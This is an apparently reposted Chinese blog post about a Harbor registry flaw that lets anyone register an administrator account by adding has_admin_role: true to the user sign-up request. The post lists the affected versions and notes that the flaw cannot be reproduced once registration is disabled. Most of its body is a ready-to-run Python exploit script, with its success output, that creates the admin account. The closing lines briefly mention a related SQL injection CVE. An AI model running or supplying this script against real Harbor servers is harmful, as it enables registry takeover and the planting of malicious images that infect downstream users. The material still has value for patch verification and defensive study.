内容简介:Harbor任意管理员注册因注册模块对参数校验不严格,可导致任意管理员注册,tui~,就是对攻击者可以通过注册管理员账号来接管Harbor镜像仓库,从而写入恶意镜像,最终可以感染使用此仓库的客户端。
漏洞名称:
Harbor任意管理员注册
漏洞简介:
因注册模块对参数校验不严格,可导致任意管理员注册,tui~,就是对 has_admin_role 压根就没有校验,在普通用户注册基础上增加该值属性为 ture 即可直接注册管理员,恶臭!
漏洞危害:
攻击者可以通过注册管理员账号来接管Harbor镜像仓库,从而写入恶意镜像,最终可以感染使用此仓库的客户端。
影响范围:
1.7.0-1.7.5
1.8.0-1.8.2
漏洞复现:
大约如下这个样子,但是,虽然注册功能默认开启,但确实是可以关闭,关闭之后注册账号功能处空白,且漏洞无法复现。
什么?懒得开Burp,我也懒,,,还懒得传github,,,就丢这儿吧。
from urllib.parse import urljoin
import requests
import sys
requests.packages.urllib3.disable_warnings()
def poc(url):
data = {
"username": "test1234",
"email": "test@qq.com",
"realname": "test",
"password": "Test1234",
"has_admin_role": True,
}
try:
response = requests.post(url=urljoin(url, '/api/users'),json=data,verify=False)
return response.status_code
except:
pass
if __name__ == '__main__':
url = sys.argv[1]
if poc(url)==201:
print('Success!\nUsername:test1234\nPassword:Test1234')
else:
print('Fail!')
python harbor.py http://127.0.0.1 Success! Username:test Password:Test1234
END
其实,在此之上,还有一个高危漏洞:CVE-2019-19029,通过用户组进行 SQL 注入,具有项目管理功能的用户可以利用SQL注入来从底层数据库读取机密信息或进行权限提升,配合此漏洞那岂不美滋滋???
虽然是去年的CVE,但漏洞公开时间就在最近,我审了半天源码也没看懂利用链,原谅我Golang仍不到家,再此Mark一下,期待大佬交流与研究。
欢迎关注我们的微信公众号,每天学习 Go 知识
以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持 码农网
猜你喜欢:本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们。